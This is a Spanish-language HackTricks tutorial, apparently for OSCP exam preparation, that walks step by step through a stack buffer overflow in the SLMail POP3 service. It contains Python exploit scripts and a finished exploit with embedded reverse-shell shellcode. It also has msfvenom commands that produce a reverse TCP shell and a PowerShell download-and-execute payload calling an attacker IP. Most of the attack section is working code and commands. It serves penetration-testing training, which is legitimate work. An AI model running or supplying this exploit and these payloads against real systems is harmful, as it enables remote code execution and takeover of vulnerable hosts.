Explotación de Windows (Guía básica - nivel OSCP)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Tip

¿Buscas primitivas de kernel post-OSCP? Las modernas cadenas de corrupción de registry hive para shells SYSTEM deterministas se tratan aquí:

Windows Registry Hive Exploitation

Comenzar a instalar el servicio SLMail

Reiniciar el servicio SLMail

Cada vez que necesites reiniciar el servicio SLMail puedes hacerlo usando la consola de Windows:

net start slmail

Plantilla de exploit python muy básica

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Cambiar la fuente de Immunity Debugger

Go to Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK

Adjuntar el proceso a Immunity Debugger:

Archivo –> Adjuntar

Y presiona el botón START

Enviar el exploit y comprobar si EIP se ve afectado:

Cada vez que detengas el servicio debes reiniciarlo como se indica al principio de esta página.

Crear un pattern para modificar el EIP

El pattern debe tener el mismo tamaño que el buffer que usaste para romper el servicio anteriormente.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Cambia el buffer del exploit, establece el pattern y lanza el exploit.

Debería aparecer un nuevo crash, pero con una dirección EIP diferente:

Comprueba si la dirección estaba en tu pattern:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Parece que podemos modificar el EIP en offset 2606 del buffer.

Compruébalo modificando el buffer del exploit:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

Con este buffer, el EIP tras el crash debería apuntar a 42424242 (“BBBB”)

Parece que está funcionando.

Comprobar espacio para Shellcode dentro del stack

600B debería ser suficiente para cualquier shellcode potente.

Cambiemos el buffer:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

lanza el nuevo exploit y comprueba el EBP y la longitud del shellcode útil

Puedes ver que cuando se alcanza la vulnerability, el EBP está apuntando al shellcode y que tenemos mucho espacio para localizar un shellcode aquí.

En este caso tenemos from 0x0209A128 to 0x0209A2D6 = 430B. Suficiente.

Comprobar bad chars

Cambia de nuevo el buffer:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

Los badchars comienzan en 0x01 porque 0x00 casi siempre es malo.

Ejecuta repetidamente el exploit con este nuevo buffer eliminando los chars que se consideren inútiles:

Por ejemplo:

En este caso puedes ver que no deberías usar el char 0x0A (nada se guarda en memory desde el char 0x09).

En este caso puedes ver que se evita el char 0x0D:

Encontrar un JMP ESP como dirección de retorno

Usando:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Vas a listar los mapas de memoria. Busca algún DLL que tenga:

  • Rebase: False
  • SafeSEH: False
  • ASLR: False
  • NXCompat: False
  • OS Dll: True

Ahora, dentro de esta memoria deberías encontrar algunos bytes JMP ESP, para ello ejecuta:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Entonces, si se encuentra alguna dirección, elige una que no contenga ningún badchar:

En este caso, por ejemplo: _0x5f4a358f_

Crear shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Si el exploit no está funcionando pero debería (puedes ver con ImDebg que se alcanza el shellcode), intenta crear otros shellcodes (msfvenom para crear shellcodes diferentes con los mismos parámetros).

Añade algunos NOPS al principio del shellcode y utilízalos junto con la dirección de retorno para JMP ESP, y finaliza el exploit:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Warning

Hay shellcodes que se sobrescriben a sí mismos, por lo tanto es importante añadir siempre algunos NOPs antes del shellcode

Mejorando el shellcode

Añade estos parámetros:

EXITFUNC=thread -e x86/shikata_ga_nai

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks